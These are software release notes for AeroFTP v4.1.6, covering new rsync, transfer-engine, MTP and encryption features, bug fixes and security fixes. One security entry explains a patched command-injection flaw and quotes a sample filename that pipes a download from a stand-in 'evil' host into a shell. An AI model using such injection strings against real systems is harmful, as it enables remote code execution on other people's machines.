Skip to content

AeroFTP v4.1.6

Latest

Choose a tag to compare

@github-actions github-actions released this 25 Jul 03:10

[4.1.6] - 2026-07-25

AeroRsync Closes the Gap With rsync, a Stabilised DAG Transfer Engine, and MTP Portable Devices

The longest-running thread in the project lands: AeroRsync gains the negotiated checksums, end-to-end symlinks and streaming signatures that were the remaining distance to stock rsync, and the legacy parallel server stack retires so production has exactly one path, the one that is tested byte-identical against rsync --server. The DAG transfer engine stops being a promising core and becomes the engine: a process-global hierarchical governor, durable multipart checkpoints, a streaming work frontier, endpoint-aware adaptive AIMD and SizeFair scheduling, with five more providers promoted onto native multipart workers. Measured against rclone on the lab, multi-file FTPS moved from 8-18% behind to parity and the FTPS single-stream default is now 41% ahead. A new protocol arrives with it: MTP/WPD portable devices, phones and cameras that the OS never gives a drive letter, with their own profile type keyed to a device fingerprint. AeroCrypt gains v4 keyslots, so a vault can be unlocked by more than one credential without re-encrypting it. A sync stack audit closes the release's most serious finding - a crafted remote filename reached the remote login shell through rsync-over-SSH - along with a class of scan-completeness holes where a truncated remote listing could steer a sync into deleting local data. 47 languages translated.

Added

  • Portable devices over MTP and WPD, a new protocol with its own profile type: attached phones, cameras and media players that the OS never mounts as a drive now appear under PLACES > Portable devices and browse and transfer through the same dual-panel fabric as every other provider, via a Linux libmtp backend and a Windows WPD backend. Devices are saved as real profiles keyed to a stable device fingerprint (mtp:serial=… where the device reports one, otherwise vid/pid plus model), so a saved phone reconnects as itself rather than as whatever happened to be on that USB port; the Add Services catalog gains a Devices category and an MTP save form, the device card carries a red/green attach indicator with click-to-connect, and aeroftp-cli can open a saved device by fingerprint. USB hotplug is wired on both platforms, so unplugging a device flips the attach dot and degrades the open session honestly instead of leaving a dead panel (@EhudKirsh, #347).
  • AeroFTP takes the MTP claim from the desktop instead of losing to it: only one program can hold a phone over MTP at a time, so on Linux Connect now soft-releases the system gvfs/Nautilus mount (with a settle poll, a clean gio unmount with timeout, and a SIGSTOP of the gvfs volume monitors across the open) rather than failing with an error that blamed the user for having a file manager open. Disconnect drops only the claim AeroFTP took. Where the desktop mount is the better path, PLACES rides it instead of fighting it.
  • AeroRsync: md4 and sha1 as first-class negotiated checksums (Y-RSC.3): both were advertised in negotiation but never implemented, so a negotiated md4 or sha1 win silently degraded a delta transfer to all-literal traffic and skipped the reconstruction verify entirely. Both roles - the block-strong signature hash and the whole-file trailer - are now implemented in both directions, and the reconstruction is genuinely verified. The seeding mirrors the builtin-versus-EVP split of rsync 3.2.7 checksum.c: block-strong md4 appends the four-byte seed, sha1 prepends it, and the whole-file trailer is unseeded for both. Verified against stock rsync 3.2.7 by forcing each algorithm through the live lane-3 upload path for a byte-identical reconstruction, which proves our md4 and sha1 are accepted by rsync's own receiver verify.
  • AeroRsync: symlinks transferred end-to-end on unix (Y-RSC.4): a source symlink is detected by lstat and never followed, emitted as an S_IFLNK file-list entry carrying the link target under rsync's F_LENGTH convention, with no signature, delta or data phase; the receiver materialises it create-temp-then-rename, replacing an existing file and leaving no temp behind on failure. On non-unix targets a symlink entry fails closed with a typed error instead of silently creating a regular file.
  • AeroRsync: streaming download signatures (Y-RSC.5): the signature phase no longer reads the whole baseline into RAM. Production downloads open a FileBaseline and walk it block by block for the Adler-32 rolling and negotiated strong hash, closing the O(file) memory cost left open by the earlier streaming work. Byte-identical parity tests against the bulk path, plus an RSS acceptance run over a 4 GiB sparse baseline holding peak growth under 128 MiB.
  • A process-global hierarchical transfer governor: concurrency is now arbitrated across the whole process rather than per transfer, with a priority device-endpoint governor beneath it, so a large batch and an interactive single-file transfer no longer bid against each other blindly for the same device and endpoint capacity.
  • Durable multipart checkpoints and a journal-aware commit path: a multipart upload writes durable per-part receipts, so an interrupted upload resumes against the parts that genuinely landed instead of restarting, and VerifyChecksum and CommitTemp read that journal so a session is finalized only after a durable verified fact. A cancelled multipart upload now keeps its provider session for resume rather than aborting it.
  • A streaming work frontier for multi-file transfers: the multi-file source streams work into the DAG instead of materialising the full graph up front, with a bounded ready-frontier dispatch window; peak graph memory stays bounded over ten million items, which is now a test.
  • Endpoint and workload-aware adaptive AIMD, plus SizeFair scheduling: the congestion profile adapts to the endpoint and the shape of the workload, and SizeFair scheduling stops a queue of large files from starving small ones. Normal sync files are pooled with an exclusive delta lane so a delta transfer no longer contends with plain copies.
  • Five more providers promoted onto native multipart workers: Drime, Uploadcare, Dropbox, Box and Filen now upload through real per-part wire I/O rather than a single-stream fallback. pCloud was evaluated and deliberately retained on LockedSingle after its live gate.
  • A reusable buffer pool with a streaming multipart part body, plus directional resources and byte-buffer credits with an exact credit ceiling, so the engine's memory ceiling is a number it enforces rather than a hope.
  • Runtime transfer capabilities and capability-aware settings: the engine probes what an endpoint can actually do once and binds the effective settings to that single probe, so the settings surface stops offering choices the provider cannot honour.
  • SFTP performance presets, persisted per profile, with opt-in read-ahead: russh-sftp awaits one SSH_FXP_READ per poll (upstream #70), so an SFTP download ran far below the link (measured 2.8 MiB/s against 16 upload on the same session). An in-tree read-ahead over the public API - no crate fork - stripes chunks across several cheap file handles into one writer, byte-identical to the serial loop with strict short-read as a hard error. In the lab over a 1 Gb link at 37.7 ms RTT: about 2.5-3x on a single connection, 14.25 MiB/s at 4 connections (beating 8 serial connections), peaking at 27.47 MiB/s at 12 connections, about 58% ahead of rclone. This stays opt-in via the per-profile preset, --sftp-concurrency on the CLI or AEROFTP_SFTP_READAHEAD; no default changed, pending the team audit before any default flip.
  • AeroCrypt v4 keyslots: a vault key can now be unlocked by more than one credential. A v4 keyslot core (slot types, per-slot key derivation, AAD-wrapped OMK) is joined by crypt migrate-v4 and slot management on the CLI, a GUI keyslot manager, and a recovery slot with an Emergency Kit v4. Migration derives a single schedule for the master key and each slot wraps it, so adding or revoking a credential never re-encrypts the vault.
  • An unlocked-key cache for instant crypt overlay re-toggle, with an explicit hard lock: toggling an AeroCrypt or rclone-crypt overlay off and on on the same connection re-derived the key from scratch every time (Argon2id, or scrypt for rclone-crypt). Keys are now cached for the life of the connection - every copy still zeroizes on drop - with an explicit hard-lock action to drop them on demand.
  • Security Tools as a first-class launcher in the AeroTools panel, with Hash Forge reaching BLAKE3-demo parity (XOF output length, auto-calculate, the full encoding set, drag and drop) and Password Forge output masked behind an eye reveal toggle. The titlebar button remains a Cyber-theme easter egg (@EhudKirsh, #369).
  • A startup resume banner for the transfer queue with smart auto-connect (TQ-7c), turning the restored-queue work from v4.1.5 into a prompt that can actually reconnect and resume.
  • A dual-panel breadcrumb path bar reusing the AeroFile breadcrumb, and the Compare view now shows what percentage of items and bytes are out of sync rather than only counts (@EhudKirsh, #347).
  • Copy or duplicate a user from the Manage Users GUI (@EhudKirsh, #347), and the --tui inline action menu now works on groups and users, not only on servers (@EhudKirsh, #311).
  • Premium-gated Permanent Delete and Empty Trash for Dropbox in the trash manager, with tooltips that spell out the difference between the two (@EhudKirsh, #397, #347).
  • Benchmarks reach agents and every transport: --all-protocols expands a profile into one run per transport mode, results carry distinct Type and Protocol columns and MiB units with a single-file progress bar, and the many-files and per-protocol benchmarks are reachable from an MCP agent (@EhudKirsh, #277).
  • Windows volume hotplug in PLACES via a WM_DEVICECHANGE watcher and a GetLogicalDrives mask diff, so an attached drive appears without waiting for the 30s poll.
  • Add Service catalog growth: an optional parent Company column, S3Drive and Quotaless added, MEGA S4 folded into one row, a 4shared WebDAV Quick-Connect preset, and middle-click to open a service in a background tab with the search term preserved (@EhudKirsh, #274, #347).

Changed

  • The FTPS single-stream download buffer default moves from 8 KiB to 64 KiB: at 8 KiB, TLS record churn dominated the path. An interleaved A/B on the lab FTPS profile (3 reps per size, same 1 GiB oracle, all exact SHA-256) measured a 89.7 s median at 64 KiB against 130.8 s at 8 KiB and 112.4 s at 256 KiB, with the tightest spread - 41% ahead of the rclone single-channel reference at 153.1 s. --buffer-size still overrides within the existing 4 KiB to 16 MiB clamp; the multi-stream path is untouched.
  • FTP multi-file batches reuse warm connections and reach parity with rclone: the CLI batch opened a fresh control connection per file - TCP, AUTH TLS and login every time - leaving multi-file FTPS 8-18% behind rclone, which amortises the handshake over a pool. A worker that finishes a file successfully is now parked and reused, gated behind a new supports_transfer_worker_reuse capability that defaults to false so SFTP and HTTP-clone pools keep their exact per-file re-dial path. Only workers from successful transfers are recycled, so a desynced stream is dropped rather than reused. Result: +1.0% and +1.4% against rclone at concurrency 3 and 5, with distinct TCP connections dropping from 18 to 13.
  • The legacy RSNP stack is retired (Y-RSC.8): SessionDriver, the session, planner and server modules, the protocol frame codec and the aerorsync_serve binary are deleted, along with CI lane 2 and its docker harness. Production was already on WrapperParity against stock rsync --server; this removes the parallel path that was never the shipped one. The module is now 22 files and about 32k LOC, and docs/PROTOCOL-RSYNC-COMPARE.md has been re-audited against the code.
  • main is gated by the AeroRsync module suite and the real-rsync lane, and the mandatory pre-push gate is aligned with the build checks so a local pass means the same thing CI means.
  • The Rust toolchain is pinned to 1.97.0, ending clippy drift between contributor machines and CI.
  • Routine dependency maintenance: dompurify 3.4.12, rand 0.8.7, sevenz-rust2 0.21.3, sha1 0.10.7, xxhash-rust 0.8.17, softprops/action-gh-release 3.0.2, plus a batched Dependabot and quick-xml security cleanup.

Fixed

  • A partial remote listing can no longer drive mass deletion (sync audit AUDIT-03): both remote scanners swallowed listing failures - a failed cd, a failed list, the depth limit, the 100K index cap - with a bare continue and returned a map that looked complete. Files the scanner could not see were indistinguishable from files the user had deleted, so a partial listing could drive mass DeleteLocal while the safety gate saw perfectly benign counts. Both scanners now return a completeness flag set false at each swallow site, and the delete-propagation gate trips unconditionally on an incomplete scan. The companion fixes close the same class for orphan-delete against incomplete or empty source scans, for the compare scan, and for unstattable local entries, which now mark the local scan incomplete rather than reading as remote-only. Archive-before-delete made a wrong delete recoverable; this prevents it.
  • A propagated delete archives the local file first: the overwrite path already archived to .aeroversions/, but a delete driven by a remote-side disappearance did not, so a wrong delete was permanent. Both sync engines now archive before a propagated DeleteLocal through one shared helper, which is what makes the scan-completeness gates above recoverable rather than merely preventive.
  • A node_modules/ line in the sync config now excludes node_modules: a trailing / - the spelling the .aeroignore template itself teaches - was matched verbatim and never hit the directory segment, and an interior-/ pattern like build/output was never matched at a path boundary. Both are now honoured gitignore-style.
  • An interrupted local-to-local copy cannot leave a truncated file: the plain-copy fallback writes to a temp sibling and renames onto the destination, so a failure mid-copy no longer destroys the previous good mirror copy.
  • A cancelled multipart upload keeps its durable session for resume instead of aborting it, and the multipart lifecycle state is unified across the shaped builders so cancel, fail-fast and typed node timeouts are graph-scoped rather than per-node improvisation. Rejected Box upload sessions are cleaned up.
  • Max multi-file concurrency actually reaches Max: the disk device slot ceiling was below the tier it advertised, so the Max 5x tier could not reach full concurrency.
  • GUI progress is emitted at a unified rate of at most 10 Hz, ending the redraw storm that a fast local transfer could trigger.
  • AeroRsync correctness sweep: the whole-file checksum is now verified before committing a native delta download and against md5 peers too; the file-checksum length is derived from the negotiated algorithm rather than assumed; truncated strong checksums are compared correctly in find_match; block-strong md5 is restored for delta matches; xxh64 and xxh3 delta support is completed; and a clean-EOF detection that matched on a substring is replaced by a structured class.
  • Headerless and legacy crypt overlay profiles auto-unlock again: the hasStoredAeroCrypt* flags now self-heal at load, and when auto-unlock genuinely fails the UI surfaces a locked-overlay affordance instead of silently falling through. Mixed-mode navigation handles edits outside the Overlays Path, toggle gating and landing on the Remote Path (@EhudKirsh, #390, #388, #347, #369).
  • Crypt overlay secrets survive a cross-user profile copy or move, alongside OAuth and Jottacloud tokens, with a real identity probe on the cross-user path (@EhudKirsh, #366, #270).
  • The OneDrive redirect URI shown to the user must be localhost, not 127.0.0.1 - Microsoft rejects the literal IP, so the instructions were unfollowable (@EhudKirsh, #397).
  • Zoho WorkDrive personal accounts connect: a personal account has no team unit, so both /teams and /users/{id}/teams return empty and discovery hard-failed right after a successful OAuth with "No teams found". Discovery now falls back to /users/{zuid}/privatespace when no team is found; team and free-org accounts are unaffected.
  • Jottacloud delete soft-deletes into trash instead of hard removing, matching what every other provider's Delete does.
  • A Windows uninstall leaves no registry residue (@pasha-zzz, #454): our own PREUNINSTALL hook deleted the Software\Classes\.<ext> key including the <progid>_backup value that Tauri's APP_UNASSOCIATE reads immediately afterwards, so the very next write recreated the extension key carrying an empty default. The sweep moved to POSTUNINSTALL, and it is skipped in update mode so an in-app or WinGet upgrade never resets a hand-picked Explorer default. Measured on Windows 11: a registry search for aero* returns zero matches across HKCU, HKLM and HKCR after uninstall.
  • File association handling on Linux resolves the installed desktop id before calling xdg-mime default, and the Settings panel gets its padding back with a single Default badge and no accidental backdrop-close.
  • An S3 New Folder is no longer a phantom file: the empty-folder marker is persisted (@EhudKirsh, #266, #347).
  • MKD returning 550 on an existing directory is treated as a no-op via a stat fallback, instead of failing a transfer that was already fine.
  • Drag-and-drop reorder in My Servers lands on the drop target index, and a duplicated profile mode points at its own endpoint rather than the original's.
  • Hash Forge accepts a real OS drop on Linux through native drag-and-drop, works under disable_drag_drop_handler, shows a full hash wrapped instead of a horizontal scrollbar, and no longer dismisses its modal by accident; the Security Tools modal is wide enough for SHA-256 on one line.
  • Health diagnostics report honest verdicts for timeout, 404 and download-speed checks.
  • Remaining GTK and DBus mutations are marshalled onto the main thread on Linux, closing a class of intermittent crashes.
  • A bare Windows drive letter is absolute when navigating parent-up in AeroFile, and an EXDEV copy-and-delete fallback handles gvfs MTP moves across filesystems.
  • The clipboard paste refreshes the local panel that owns the target, not whichever panel was last focused.
  • CLI agent-UX fixes for delete, put and machine JSON, and the connection banner now prints the REST API transport for native-API profiles instead of implying a generic one (@EhudKirsh, #277).
  • The catalog tier filter is category-aware, so a provider that is paid only within a category stays reachable; MEGA S4's Paid pill is restored via a providerId catalog fallback and honours the paid method flag; S4/S5 label overrides reach the CLI catalog and the providers table; 4shared shows its own logo rather than a generic cloud tile; and TAB.DIGITAL is flagged EU rather than IN (@EhudKirsh, #274).
  • A DAG cancellation test no longer races the scheduler: it cancelled after a fixed 40 ms and then asserted a multipart part was in flight, but time-to-first-part has no lower bound, so a loaded CI runner failed the assertion for scheduling reasons rather than a real regression. It now waits on the observable precondition.

Security

  • Remote command execution through a crafted remote filename in rsync-over-SSH is closed (sync audit AUDIT-03, B3-02): the user@host:path spec was interpolated into the rsync invocation with no escaping, so a filename containing a;curl evil|sh, $(...), backticks, spaces or newlines reached the remote login shell. Where the synced remote directory was writable by another party, that was remote command execution. Every rsync-over-SSH invocation now passes -s (--secluded-args), so filenames travel to the remote rsync over the protocol and never touch a shell.
  • .aeroignore matching now fails closed: a pattern the globset rejected was silently dropped, so a rule the user believed was protecting a path did nothing. A rejected pattern is now retried as an escaped literal; a leading / anchors to the sync root (it was compiled verbatim and never matched); globs use literal_separator so a lone * no longer crosses /; and case-insensitivity is honoured on Windows and macOS per the module contract.
  • AeroRsync refuses unsafe peer-supplied symlink targets (audit S1): a downloaded symlink materialised the peer-controlled target verbatim, so a hostile server could make a download create a link to an absolute path or a parent traversal. Creating the link does not follow it, but a later write-through would escape the download directory. The receiver now applies rsync's safe-links policy by default, resolved lexically without touching the filesystem, and refuses fail-closed with nothing left on disk.
  • The delete-propagation guards above are a security property, not only a correctness one: a hostile or merely broken remote that truncates a listing could previously steer a sync into deleting local data. Every gate downstream of a scan now knows whether that scan was complete.
  • AeroCrypt hardening: the default-salt entropy gate is enforced backend-side rather than only in the UI (and the UI now explains it), the TSV v3 MAC length is bounds-checked before the copy, and a recovery code is rejected for non-ASCII input before any slicing.
  • Foreign-config import parsing and secret-export writes are hardened in the bridge, and cross-user dedup soft-warnings are scoped so an empty-key S3 profile cannot widen them (@EhudKirsh, #270, #366).
  • Three moderate russh advisories remain open, blocked upstream. GHSA-g9hv-x236-4qp3 and GHSA-5xvq-cp9x-6p6r are reachable client-side; GHSA-cqjc-rmpq-xprq is server-side only and AeroFTP runs no SSH server. All three are availability-only panics - no memory-safety escape, no key disclosure, no authentication bypass - requiring the user to connect to an attacker-controlled SSH endpoint, and all three predate this release. The fix is russh 0.62.4, which requires ed25519-dalek ^3 against the =3.0.0-rc.0 exact pin held by n0-mainline in the iroh P2P graph; both upstreams are already at their newest release, so no local version selection resolves it. Full reachability analysis and the remediation plan: docs/security-evidence/RUSSH-DEPENDABOT-ADVISORIES-2026-07.md. Note that cargo audit reports clean here - these advisories have no RustSec counterpart - so the Dependabot graph is a distinct pre-release check, not one the Rust gate already covers.

Contributors

Thanks to the people who shaped this release:

@EhudKirsh
@pasha-zzz

Downloads:

  • Windows: .msi installer, .exe, or .zip portable (no installation required)
  • macOS: .dmg disk image
  • Linux: .deb, .rpm, .snap, or .AppImage